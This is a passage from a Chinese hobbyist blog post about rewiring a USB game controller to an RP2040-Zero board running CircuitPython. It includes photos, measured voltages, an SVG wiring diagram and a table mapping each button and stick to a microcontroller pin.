<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_NazILd8nVplEzKHMBMK12XVJ81bxWvrGZmEvuv7MoYXcoHGXW8fBBXV4TMAS01YX1CMEOTZavKXKp0dMOwtZ9odDybm6UirwBxbTKStTL3H75gRQpG2B_fw3Q8MYNIXYKWkTi2j7_DBDGkstHjQItuseS0SH6RI2zPXEeeLQi30TBSCkQyLTF5hX0o/w0/gamepad-mod-rp2040-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_NazILd8nVplEzKHMBMK12XVJ81bxWvrGZmEvuv7MoYXcoHGXW8fBBXV4TMAS01YX1CMEOTZavKXKp0dMOwtZ9odDybm6UirwBxbTKStTL3H75gRQpG2B_fw3Q8MYNIXYKWkTi2j7_DBDGkstHjQItuseS0SH6RI2zPXEeeLQi30TBSCkQyLTF5hX0o/w600/gamepad-mod-rp2040-003.jpg"/></a></div>
<p>使用 <span class="mra-highlighter">4線芯USB線路</span><br/>
與 USB配色 相同,因此很容易分辨用途,電路板上亦有標示 USB引腳,方便還原</p>
<a name="USB遊戲控制器內部晶片"></a><h6 class="mra-h6">晶片</h6>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC5BZVh_hjAIz12yIVOm8NiSwqEbsLPPHCn_nJsyM4yRzcJbXW88KBIZYZcYw_erorMm1xz9CA7nyfbX0ZBOMrwzjE9PDG2FTeGHjvfIM43Nl4jBcG3A-rlZtP3BnOh7BzULeTlSYfh9ukyBeDUXU63Z_eR096RYsACl7vcBT1n92aavTUr4t_HxY3H_4/w0/gamepad-mod-rp2040-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC5BZVh_hjAIz12yIVOm8NiSwqEbsLPPHCn_nJsyM4yRzcJbXW88KBIZYZcYw_erorMm1xz9CA7nyfbX0ZBOMrwzjE9PDG2FTeGHjvfIM43Nl4jBcG3A-rlZtP3BnOh7BzULeTlSYfh9ukyBeDUXU63Z_eR096RYsACl7vcBT1n92aavTUr4t_HxY3H_4/w600/gamepad-mod-rp2040-004.jpg"/></a></div>
<p>由於 USB遊戲控制器 的 晶片使用 <span class="mra-highlighter">板上晶片封裝(Chip on Board (COB封裝))</span> 技術<br/>
晶片被 <span class="mra-highlighter">黑色樹脂</span> 保護著,無法得知使用哪種控制晶片<br/>
但根據體積及線路的連接,估計 <span class="mra-highlighter">體積較小的COB 屬於 USB轉TTL晶片</span>,<span class="mra-highlighter">體積較大的COB 則是 微控制器</span><br/>
當 微控制器 偵測到訊號變化後,將訊號傳送到 USB轉TTL晶片,再向 宿主系統 提交對應的 USB訊號</p>
<p>在下不想破壞原本的功能,有需要時可以將 USB線路 焊接回原本的通孔<br/>
唯有了解電路的運作原理,並在原本的電路板上加裝額外的 微控制器 達成目的</p>
<p>經檢查後,找到 <span class="mra-highlighter">12個按鈕</span> 、 <span class="mra-highlighter">4個類比按壓</span> 及 <span class="mra-highlighter">4個類比轉軸</span> 的 <span class="mra-highlighter">焊接點</span></p>
<a name="USB遊戲控制器內部按鈕"></a><h6 class="mra-h6">按鈕</h6>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdkaTlpLC0Ok0sNvgxXUk22jjEvKBJzDgHJm_ZFSW3Hl-qm5BL4q0IDOnwOgd8gDp2mAd8SKA3zWbVs4PF9ouiyGbCTHDFHsVv86-5xDkuLn0A8Fhqcquna8HKHY5IZmtr5963kOJAxQmEQoAqcT5jKLO6QQLqdS1dfcEIRJFzoh87eG2ZnMd7Dhu9iNs/w0/gamepad-mod-rp2040-005.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdkaTlpLC0Ok0sNvgxXUk22jjEvKBJzDgHJm_ZFSW3Hl-qm5BL4q0IDOnwOgd8gDp2mAd8SKA3zWbVs4PF9ouiyGbCTHDFHsVv86-5xDkuLn0A8Fhqcquna8HKHY5IZmtr5963kOJAxQmEQoAqcT5jKLO6QQLqdS1dfcEIRJFzoh87eG2ZnMd7Dhu9iNs/w600/gamepad-mod-rp2040-005.jpg"/></a></div>
<p>第1、第2、第3、第4 按鈕<br/>
對應 PS遊戲控制器 的 三角、圓形、交叉、正方</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjzKSLvDQRd0fzP6EwMm0awZBoyWZXJEcnwuHXvfkMPQMCBEkB7qyP8B4Wadr3ZmIHuDSnLpbzeglJHFPmhUXwyTW4bLemgzVSuygmfasvsaYdv7DLd60TmfrTO41Nkde2p5EuZfnrBSQGaK-EooUn5G_UnOEXYzWW1rbu6sXQE_BnjHC2aZZjbarNY28/w0/gamepad-mod-rp2040-006.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjzKSLvDQRd0fzP6EwMm0awZBoyWZXJEcnwuHXvfkMPQMCBEkB7qyP8B4Wadr3ZmIHuDSnLpbzeglJHFPmhUXwyTW4bLemgzVSuygmfasvsaYdv7DLd60TmfrTO41Nkde2p5EuZfnrBSQGaK-EooUn5G_UnOEXYzWW1rbu6sXQE_BnjHC2aZZjbarNY28/w600/gamepad-mod-rp2040-006.jpg"/></a></div>
<p>第5、第7 按鈕<br/>
對應 PS遊戲控制器 的 L1、L2</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2YMgJ6YafVGLJiiAbLTn71-uqKctmtppIYNxIsVfxZfjlFTTPrXzVoI3KkeI6mSt2uB-4pOPAVIHBoS_Kh8l4gTQde5PeZBme0BT_clnWVFjWk6PvPMR3KqwkDT_P8oq96lDmk9nnxrzirFVy2SVHoR-hU-bBh_kRduA8koVKMf8p1hWcvFM21AOA0w/w0/gamepad-mod-rp2040-007.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2YMgJ6YafVGLJiiAbLTn71-uqKctmtppIYNxIsVfxZfjlFTTPrXzVoI3KkeI6mSt2uB-4pOPAVIHBoS_Kh8l4gTQde5PeZBme0BT_clnWVFjWk6PvPMR3KqwkDT_P8oq96lDmk9nnxrzirFVy2SVHoR-hU-bBh_kRduA8koVKMf8p1hWcvFM21AOA0w/w600/gamepad-mod-rp2040-007.jpg"/></a></div>
<p>第6、第8 按鈕<br/>
對應 PS遊戲控制器 的 R1、R2</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdoEbgjbCqDs161hrj0RSh4-r-kf_XApdRhfGeJ6BbNyRvNaMUrci5XfjRyD5X3ALN03W56RuRMyVN8iM1-3YNdL7J0l0h38rYHE_D_9KiltBcD_Zfr_yNF8cT8YIs4bNiznOgYAsqW8lVHdfm2pVX6gUm4ogYu5osiDji0C5NPxTbx5pAYhfwiDfQqoM/w0/gamepad-mod-rp2040-008.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdoEbgjbCqDs161hrj0RSh4-r-kf_XApdRhfGeJ6BbNyRvNaMUrci5XfjRyD5X3ALN03W56RuRMyVN8iM1-3YNdL7J0l0h38rYHE_D_9KiltBcD_Zfr_yNF8cT8YIs4bNiznOgYAsqW8lVHdfm2pVX6gUm4ogYu5osiDji0C5NPxTbx5pAYhfwiDfQqoM/w600/gamepad-mod-rp2040-008.jpg"/></a></div>
<p>第9 按鈕<br/>
對應 PS遊戲控制器 的 SELECT</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXH0Dku2QeRSlMqQtpdfYAzWPGfrpGJhQ8tHWwVt4W-reLZ2McDbzW9VGR3JIuC4TvF4Ojd5dzELVSNOfsTQzMc8JFg592750oqswe0d9Nl-fZnyWsKD8QP3vz9wX2HzltHNBShtz79oqQ5SlVrmJ4jnH-F_8PX4azBwSZrBI8GFzY_R1327DZFjnOS48/w0/gamepad-mod-rp2040-009.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXH0Dku2QeRSlMqQtpdfYAzWPGfrpGJhQ8tHWwVt4W-reLZ2McDbzW9VGR3JIuC4TvF4Ojd5dzELVSNOfsTQzMc8JFg592750oqswe0d9Nl-fZnyWsKD8QP3vz9wX2HzltHNBShtz79oqQ5SlVrmJ4jnH-F_8PX4azBwSZrBI8GFzY_R1327DZFjnOS48/w600/gamepad-mod-rp2040-009.jpg"/></a></div>
<p>第10 按鈕<br/>
對應 PS遊戲控制器 的 START</p>
<a name="USB遊戲控制器內部類比按壓"></a><h6 class="mra-h6">類比按壓</h6>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihkcIdFf8fi02Ioil_N4fMOBdJbM3P79KFeJcK_mmCgTQXymYGG_rekLPx2-onl4_sjHY3a76qj7OEusxHWRgucwCcC8V0GXmlI72sxHTJdvctYHNVxDBWsLwnMGYf9N_gybZw-NWVq9yFJ7_dG9IcA4uuQRQEpNvUAO7NuVmwP9-O0NX8t2gQt5PMris/w0/gamepad-mod-rp2040-011.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihkcIdFf8fi02Ioil_N4fMOBdJbM3P79KFeJcK_mmCgTQXymYGG_rekLPx2-onl4_sjHY3a76qj7OEusxHWRgucwCcC8V0GXmlI72sxHTJdvctYHNVxDBWsLwnMGYf9N_gybZw-NWVq9yFJ7_dG9IcA4uuQRQEpNvUAO7NuVmwP9-O0NX8t2gQt5PMris/w600/gamepad-mod-rp2040-011.jpg"/></a></div>
<p>第1、第2、第3、第4 類比按壓<br/>
對應 PS遊戲控制器 的 上、左、下、右</p>
<p>類比按壓 實際是使用按鈕方式操作,可以透過按壓力度控制訊號強弱,但這款 USB遊戲控制器 沒有這個效果</p>
<a name="USB遊戲控制器內部類比轉軸"></a><h6 class="mra-h6">類比轉軸</h6>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsj0XzvHizdwCSFBF5uodre3-u0x3G4wYHwurtC7KYRc73vAq3cbwPxpN2nFyrP4YfbzI72f3m-oozCBBW2DysHMqkU7kMplpcwZYPzrxmcg4ycwq9Gw-W9g9CYeIgXuV8TSNIY8BAnuGuAhJ-nVMg0SyrY9eBjgQTXaEV1OepeLxyKfkrBi-fqHBNQNk/w0/gamepad-mod-rp2040-010.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsj0XzvHizdwCSFBF5uodre3-u0x3G4wYHwurtC7KYRc73vAq3cbwPxpN2nFyrP4YfbzI72f3m-oozCBBW2DysHMqkU7kMplpcwZYPzrxmcg4ycwq9Gw-W9g9CYeIgXuV8TSNIY8BAnuGuAhJ-nVMg0SyrY9eBjgQTXaEV1OepeLxyKfkrBi-fqHBNQNk/w600/gamepad-mod-rp2040-010.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpBcNr6K3eqwW1-oGeqPusOXXMi8rzp1h_x1YTdswV-oD_9bfICgjP-5AzIq0tkTZWnwXMJab2Utz2osetqV3c7TMRbYwEDm9GDpOhBqP1Uj6vcCyEoft-HsyKHi2VynMjD74ZkrJrbzwuEQf7S5ygiSMTYRU5Nss4UgT8NP3v6zzH-41YWjEJyG_9H0Y/w0/gamepad-mod-rp2040-012.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpBcNr6K3eqwW1-oGeqPusOXXMi8rzp1h_x1YTdswV-oD_9bfICgjP-5AzIq0tkTZWnwXMJab2Utz2osetqV3c7TMRbYwEDm9GDpOhBqP1Uj6vcCyEoft-HsyKHi2VynMjD74ZkrJrbzwuEQf7S5ygiSMTYRU5Nss4UgT8NP3v6zzH-41YWjEJyG_9H0Y/w600/gamepad-mod-rp2040-012.jpg"/></a></div>
<p>類比轉軸 包含 <span class="mra-highlighter">1個按鈕</span> 及 <span class="mra-highlighter">2個10KΩ電位器</span></p>
<p>第11按鈕 及 LX、LY 類比轉軸 與 第12按鈕 及 RX、RY 類比轉軸<br/>
對應 PS遊戲控制器 的 L3、LX、LY 及 R3、RX、RY</p>
<a name="USB遊戲控制器內部分析"></a><h6 class="mra-h6">分析</h6>
<p>12個按鈕 及 4個類比按壓 都是使用 <span class="mra-highlighter">上拉電阻</span> 連接,使用 萬用錶 測量出 <span class="mra-highlighter">未按下時為 5V</span>,<span class="mra-highlighter">按下時為 0V</span></p>
<p>當 類比轉軸 保持中央時大約為 <span class="mra-highlighter">2.45V 至 2.55V</span><br/>
X軸越接近左 或 Y軸越接近上 時,越接近 0V ; X軸越接近右 或 Y軸越接近下 時,越接近 5V</p>
<p>由於總共需要連接 16個按鈕 及 4個類比轉軸,即是 微控制器 <span class="mra-highlighter">最少要有 16支數碼引腳 及 4支類比引腳</span><br/>
因此打算使用 Raspberry Pi Pico 作為改裝遊戲控制器的 微控制器<br/>
然而遊戲控制器內的空間很小,但 Raspberry Pi Pico 體積相對較大,在下需要體積更小的微控制器開發板<br/>
因此在下改用與 Raspberry Pi Pico 相同使用 RP2040微控制晶片 的 RP2040-Zero開發板<br/>
另外在下還想能夠方便修改操作內容,因此在下使用 <span class="mra-highlighter">CircuitPython</span><br/>
能夠像 USB儲存裝置 能夠即時修改程式碼而不需要特別工具</p>
<a name="USB遊戲控制器焊接點連接"></a><h5 class="mra-h5">焊接點連接</h5>
<svg version="1.1" width="600px" height="450px" viewBox="0,0 2000,1500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="point">
<circle r="15"/>
<path d="m0 0"/>
</g>
</defs>
<g>
<image xlink:href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihL0qCnIkQ_GXHWyVmQIny1X4_9ik8FJk9Yha74F5h0V74nzfewvOlcmnhusoimR4e8W1YOOqNh0I4fOSawP4aKTeEaJczPhdXUVP5Rs2qoZ_9AxpEewas8O6117Su-77S6JcpeWO5bhk4VsuEk9q1eTQBtWoZzFvH0hEUoORYG829uhriPkd5f0ah8PQ/w0/gamepad-mod-rp2040-013.jpg"/>
</g>
<g>
<use id="pin-d-" transform="translate(556.304 608.93)" fill="#FFFFFF" xlink:href="#point"/>
<use id="pin-d+" transform="translate(602.863 608.93)" fill="#00FF00" xlink:href="#point"/>
<use id="pin-gnd-0" transform="translate(649.422 608.93)" fill="#000000" xlink:href="#point"/>
<use id="pin-vcc-0" transform="translate(695.981 608.93)" fill="#FF0000" xlink:href="#point"/>
<use id="pin-button-1-bu" transform="translate(1828.46 751.416)" fill="#FFFF00" xlink:href="#point"/>
<use id="pin-button-2-br" transform="translate(1832.01 804.322)" fill="#FF8000" xlink:href="#point"/>
<use id="pin-button-3-bd" transform="translate(1835.56 857.228)" fill="#00FFFF" xlink:href="#point"/>
<use id="pin-button-4-bl" transform="translate(1839.11 910.134)" fill="#FF00FF" xlink:href="#point"/>
<use id="pin-button-5-l1" transform="translate(359.649 672.659)" fill="#FFFF00" xlink:href="#point"/>
<use id="pin-button-6-r1" transform="translate(1464.93 654.454)" fill="#FF8000" xlink:href="#point"/>
<use id="pin-button-7-l2" transform="translate(511.372 672.659)" fill="#00FFFF" xlink:href="#point"/>
<use id="pin-button-8-r2" transform="translate(1352.86 610.231)" fill="#FF00FF" xlink:href="#point"/>
<use id="pin-button-9-se" transform="translate(704.542 874.176)" fill="#FFFF00" xlink:href="#point"/>
<use id="pin-button-10-st" transform="translate(1192.76 861.396)" fill="#FF8000" xlink:href="#point"/>
<use id="pin-button-11-l3" transform="translate(888.04,874.176)" fill="#00FFFF" xlink:href="#point"/>
<use id="pin-button-12-r3" transform="translate(1108.04 874.176)" fill="#FF00FF" xlink:href="#point"/>
<use id="pin-dpad-1-au" transform="translate(193.457 748.172)" fill="#FFFF00" xlink:href="#point"/>
<use id="pin-dpad-2-al" transform="translate(190.926 803.844)" fill="#FF8000" xlink:href="#point"/>
<use id="pin-dpad-3-ad" transform="translate(188.396 859.516)" fill="#00FFFF" xlink:href="#point"/>
<use id="pin-dpad-4-ar" transform="translate(185.865 915.189)" fill="#FF00FF" xlink:href="#point"/>
<use id="pin-axis-1-lx" transform="translate(924.707 874.176)" fill="#FF8000" xlink:href="#point"/>
<use id="pin-axis-2-ly" transform="translate(961.374 874.176)" fill="#FFFF00" xlink:href="#point"/>
<use id="pin-axis-4-rx" transform="translate(1071.37 874.176)" fill="#00FFFF" xlink:href="#point"/>
<use id="pin-axis-3-ry" transform="translate(1034.71 874.176)" fill="#FF00FF" xlink:href="#point"/>
<use id="pin-gnd-1" transform="translate(998.041,874.176)" fill="#000000" xlink:href="#point"/>
<use id="pin-vcc-1" transform="translate(1144.71,874.176)" fill="#FF0000" xlink:href="#point"/>
<!--use id="pin-analog" transform="translate(933.977,1040.145)" fill="#FFFF00" xlink:href="#point"/-->
</g>
<g fill="none" stroke-width="5">
<path id="wire-d-" d="M 556.304,608.93 795.23389,370.00011 h 46.559" stroke="#FFFFFF"/>
<path id="wire-d+" d="M 602.863,608.93 795.23389,416.55911 h 46.559" stroke="#00FF00"/>
<path id="wire-gnd-0" d="m 649.422,608.93 145.81189,-145.81189 46.559,-10e-6" stroke="#000000"/>
<path id="wire-vcc-0" d="m 695.981,608.93 99.25289,-99.25289 h 46.559" stroke="#FF0000"/>
<path id="wire-button-1-bu" d="m 1828.46,751.416 -57.3043,57.30432 h -63.445" stroke="#FFFF00"/>
<path id="wire-button-2-br" d="m 1832.01,804.322 -62.6013,62.60132 h -61.698" stroke="#FF8000"/>
<path id="wire-button-3-bd" d="m 1835.56,857.228 -67.8973,67.89732 h -59.952" stroke="#00FFFF"/>
<path id="wire-button-4-bl" d="m 1839.11,910.134 -73.1953,73.19532 -58.204,0" stroke="#FF00FF"/>
<path id="wire-button-5-l1" d="M 359.649,672.659 V 567.49501 l -57.8179,-57.8179 -46.55901,0" stroke="#FFFF00"/>
<path id="wire-button-6-r1" d="M 1464.93,654.454 V 544.72001 l 35.0429,-35.0429 46.559,0" stroke="#FF8000"/>
<path id="wire-button-7-l2" d="m 511.372,672.659 -209.5409,-209.5409 -46.55901,0" stroke="#00FFFF"/>
<path id="wire-button-8-r2" d="m 1352.86,610.231 147.1129,-147.1129 46.559,10e-6" stroke="#FF00FF"/>
<path id="wire-button-9-se" d="m 704.542,874.176 68.22424,-68.22424 65.80624,0" stroke="#FFFF00"/>
<path id="wire-button-10-st" d="m 1192.76,861.396 -55.4442,-55.44424 h -60.7011" stroke="#FF8000"/>
<path id="wire-button-11-l3" d="m 888.04,874.176 -52.97163,52.97163 h -36.667" stroke="#00FFFF"/>
<path id="wire-button-12-r3" d="m 1108.04,874.176 52.9716,52.97163 h 36.67" stroke="#FF00FF"/>
<path id="wire-dpad-1-au" d="m 193.457,748.172 60.54832,60.54832 h 58.203" stroke="#FFFF00"/>
<path id="wire-dpad-2-al" d="m 190.926,803.844 63.07932,63.07932 58.203,0" stroke="#FF8000"/>
<path id="wire-dpad-3-ad" d="m 188.396,859.516 65.60932,65.60932 h 58.203" stroke="#00FFFF"/>
<path id="wire-dpad-4-ar" d="m 185.865,915.189 68.14032,68.14032 h 58.203" stroke="#FF00FF"/>
<path id="wire-axis-1-lx" d="m 961.374,874.176 -126.30563,126.3056 h -36.667" stroke="#FFFF00"/>
<path id="wire-axis-2-ly" d="m 924.707,874.176 -89.63863,89.6386 h -36.667" stroke="#FF8000"/>
<path id="wire-axis-3-rx" d="m 1071.37,874.176 89.6416,89.6416 h 36.67" stroke="#00FFFF"/>
<path id="wire-axis-4-ry" d="m 1036.4778,875.94377 126.3016,126.30163 h 36.67" stroke="#FF00FF"/>
<path id="wire-gnd-1" d="M 998.041,874.17599 962.3417,838.47666 H 924.2172" stroke="#000000"/>
<path id="wire-vcc-1" d="m 1144.71,874.17598 -35.6993,-35.69933 h -38.1245" stroke="#FF0000"/>
<!--path id="wire-analog" d="m 933.977,1040.145 81.9736,81.9736 h 181.731" stroke="#FFFF00"/-->
</g>
<g font-size="40" font-family="Courier New" font-weight="bold" transform="translate(0,12)">
<g transform="translate(840.79291,370.00011)">
<text id="mcu-d-" fill="#FFFFFF">USB D-</text>
<text id="mcu-d+" fill="#00FF00" y="46.559">USB D+</text>
<text id="mcu-gnd-0" fill="#000000" y="93.118">USB GND</text>
<text id="mcu-vcc-0" fill="#FF0000" y="139.677">USB VCC</text>
</g>
<g transform="translate(1707.7107,808.72034)" text-anchor="end">
<text id="mcu-gp0-bu" fill="#FFFF00">GP0</text>
<text id="mcu-gp1-br" fill="#FF8000" y="58.203">GP1</text>
<text id="mcu-gp2-bd" fill="#00FFFF" y="116.406">GP2</text>
<text id="mcu-gp3-bl" fill="#FF00FF" y="174.609">GP3</text>
</g>
<g transform="translate(0,509.67712)">
<text id="mcu-gp4-l1" fill="#FFFF00" x="255.27209" text-anchor="end">GP4</text>
<text id="mcu-gp6-l2" fill="#FF8000" x="1546.5319">GP5</text>
</g>
<g transform="translate(0,463.1181)">
<text id="mcu-gp4-l1" fill="#00FFFF" x="255.27209" text-anchor="end">GP6</text>
<text id="mcu-gp6-l2" fill="#FF00FF" x="1546.5319">GP7</text>
</g>
<g transform="translate(0,805.95178)">
<text id="mcu-gp8-se" fill="#FFFF00" x="838.57251">GP8</text>
<text id="mcu-gp9-st" fill="#FF8000" x="1076.6147" text-anchor="end">GP9</text>
</g>
<g transform="translate(0,927.14763)">
<text id="mcu-gp10-l3" fill="#00FFFF" x="798.40137" text-anchor="end">GP10</text>
<text id="mcu-gp11-r3" fill="#FF00FF" x="1197.6816">GP11</text>
</g>
<g transform="translate(312.20831,808.72034)">
<text id="mcu-gp12-au" fill="#FFFF00">GP12</text>
<text id="mcu-gp13-al" fill="#FF8000" y="58.203">GP13</text>
<text id="mcu-gp14-ad" fill="#00FFFF" y="116.406">GP14</text>
<text id="mcu-gp15-ar" fill="#FF00FF" y="174.609">GP15</text>
</g>
<g transform="translate(798.40137,1000.4816)" text-anchor="end">
<text id="mcu-gp26-lx" fill="#FFFF00">GP26</text>
<text id="mcu-gp27-ly" fill="#FF8000" y="-36.66">GP27</text>
</g>
<g transform="translate(1197.6816,1000.4816)">
<text id="mcu-gp29-ry" fill="#00FFFF" y="-36.66">GP28</text>
<text id="mcu-gp28-rx" fill="#FF00FF">GP29</text>
</g>
<g transform="translate(919.7373,838.53003)" text-anchor="end">
<text id="mcu-gnd-1" fill="#000000">GND</text>
<text id="mcu-vcc-1" fill="#FF0000" x="146.6691">VCC</text>
</g>
<!--text id="mcu-gp17-analog" fill="#FFFF00" x="1197.6816" y="1122.1187">GP17</text-->
</g>
</svg>
<p>在下打算以下列方面接駁焊接點到 RP2040-Zero 的引腳<br/>
次序並不重要,只是 4個類比轉軸 必須連接到支援 <span class="mra-highlighter">類比數碼轉換 (Analog-to-Digital Conveter (ADC))</span> 的引腳</p>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="18%"/>
<col width="18%"/>
<col width="18%"/>
<col width="18%"/>
<col width="18%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th rowspan="2">編號</th>
<th colspan="2">按鈕</th>
<th colspan="2">引腳</th>
<th rowspan="2">按鈕代號</th>
</tr>
<tr class="mra-pin-header">
<th>遊戲控制器按鈕</th>
<th>對應PS按鈕</th>
<th>電路板引腳</th>
<th>RP2040引腳</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-sck">
<td>B0</td>
<td>按鈕1</td>
<td>按鈕三角</td>
<td>K1</td>
<td>GP0</td>
<td>TR</td>
</tr>
<tr class="mra-pin-rst">
<td>B1</td>
<td>按鈕2</td>
<td>按鈕圓形</td>
<td>K2</td>
<td>GP1</td>
<td>CI</td>
</tr>
<tr class="mra-pin-tx">
<td>B2</td>
<td>按鈕3</td>
<td>按鈕交叉</td>
<td>K3</td>
<td>GP2</td>
<td>CR</td>
</tr>
<tr class="mra-pin-rx">
<td>B3</td>
<td>按鈕4</td>
<td>按鈕正方</td>
<td>K4</td>
<td>GP3</td>
<td>SQ</td>
</tr>
<tr class="mra-pin-sck">
<td>B4</td>
<td>按鈕L1</td>
<td>按鈕L1</td>
<td>K5</td>
<td>GP4</td>
<td>L1</td>
</tr>
<tr class="mra-pin-rst">
<td>B5</td>
<td>按鈕R1</td>
<td>按鈕R1</td>
<td>K6</td>
<td>GP5</td>
<td>R1</td>
</tr>
<tr class="mra-pin-tx">
<td>B6</td>
<td>按鈕L2</td>
<td>按鈕L2</td>
<td>K7</td>
<td>GP6</td>
<td>L2</td>
</tr>
<tr class="mra-pin-rx">
<td>B7</td>
<td>按鈕R2</td>
<td>按鈕R2</td>
<td>K8</td>
<td>GP7</td>
<td>R2</td>
</tr>
<tr class="mra-pin-sck">
<td>B8</td>
<td>按鈕SELECT</td>
<td>按鈕SELECT</td>
<td>K9</td>
<td>GP8</td>
<td>SE</td>
</tr>
<tr class="mra-pin-rst">
<td>B9</td>
<td>按鈕START</td>
<td>按鈕START</td>
<td>K10</td>
<td>GP9</td>
<td>ST</td>
</tr>
<tr class="mra-pin-tx">
<td>B10</td>
<td>按鈕L3</td>
<td>按鈕L3</td>
<td>K11</td>
<td>GP10</td>
<td>L3</td>
</tr>
<tr class="mra-pin-rx">
<td>B11</td>
<td>按鈕R3</td>
<td>按鈕R3</td>
<td>K12</td>
<td>GP11</td>
<td>R3</td>
</tr>
<tr class="mra-pin-sck">
<td>B12</td>
<td>方向上</td>
<td>方向上</td>
<td>AU</td>
<td>GP12</td>
<td>UP</td>
</tr>
<tr class="mra-pin-rst">
<td>B13</td>
<td>方向左</td>
<td>方向左</td>
<td>AL</td>
<td>GP13</td>
<td>LT</td>
</tr>
<tr class="mra-pin-tx">
<td>B14</td>
<td>方向下</td>
<td>方向下</td>
<td>AD</td>
<td>GP14</td>
<td>DN</td>
</tr>
<tr class="mra-pin-rx">
<td>B15</td>
<td>方向右</td>
<td>方向右</td>
<td>AR</td>
<td>GP15</td>
<td>RT</td>
</tr>
<tr class="mra-pin-sck">
<td>A0</td>
<td>左類比X軸</td>
<td>左類比X軸</td>
<td>LX</td>
<td>GP26</td>
<td>LX</td>
</tr>
<tr class="mra-pin-rst">
<td>A1</td>
<td>左類比Y軸</td>
<td>左類比Y軸</td>
<td>LY</td>
<td>GP27</td>
<td>LY</td>
</tr>
<tr class="mra-pin-tx">
<td>A2</td>
<td>右類比X軸</td>
<td>右類比X軸</td>
<td>RX</td>
<td>GP28</td>
<td>RX</td>
</tr>
<tr class="mra-pin-rx">
<td>A3</td>
<td>右類比Y軸</td>
<td>右類比Y軸</td>
<td>RY</td>
<td>GP29</td>
<td>RY</td>
</tr>
<!--
<tr>
<td>Analog</td>
<td>Analog</td>
<td>PS</td>
<td>GP17</td>
<td>AN</td>
</tr>
-->
</tbody>
</table>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyuXgu-9_WEwh9G2ioRpNX9E369qBmvfoR-7VZwsb0vJjIDfqwpT_m52KosbAQezgTb1uzZiSOYH7a1NPojK2KDWv1hDKOKsjYc8-Hj70vy-wamaGQIb-hUSBH9uMs9sJCLrKVb9ydl7fci8uvSjW4J3F2n3eJWetd2kVI5CcXmVXghTMCCujTj7PeJj4/w0/gamepad-mod-rp2040-020.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyuXgu-9_WEwh9G2ioRpNX9E369qBmvfoR-7VZwsb0vJjIDfqwpT_m52KosbAQezgTb1uzZiSOYH7a1NPojK2KDWv1hDKOKsjYc8-Hj70vy-wamaGQIb-hUSBH9uMs9sJCLrKVb9ydl7fci8uvSjW4J3F2n3eJWetd2kVI5CcXmVXghTMCCujTj7PeJj4/w600/gamepad-mod-rp2040-020.jpg"/></a></div>
<p>根據剛才的配對,將跳線焊接到 USB遊戲控制器 的焊墊</p>
<p>在下用不同顏色的跳線區分用途,方便跟進不良情況</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOb2ZNnNeQhxSamN2s79cbGPeqSAqNPx6wS_LTklqBBa8dvhneBIR0wbzf5456GDCzzWMtEi0kqhJTxmCVTLgf3HDWNZMj217iBQRTed7fR0tQ_ZukUN9VpHtBKv1KumjNtdwKwnMWqnraa_8VbDczVOiGhc8W8Sc9BhDG6RpbLUwDryUY0-BnXd1-X_M/w0/gamepad-mod-rp2040-021.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOb2ZNnNeQhxSamN2s79cbGPeqSAqNPx6wS_LTklqBBa8dvhneBIR0wbzf5456GDCzzWMtEi0kqhJTxmCVTLgf3HDWNZMj217iBQRTed7fR0tQ_ZukUN9VpHtBKv1KumjNtdwKwnMWqnraa_8VbDczVOiGhc8W8Sc9BhDG6RpbLUwDryUY0-BnXd1-X_M/w600/gamepad-mod-rp2040-021.jpg"/></a></div>
<p>由於正面的焊墊有機會防礙按鈕,因此改為焊接到電路板背後的的連接線路</p>
<a name="USB連接到RP2040"></a><h4 class="mra-h4">USB 連接到 RP2040</h4>
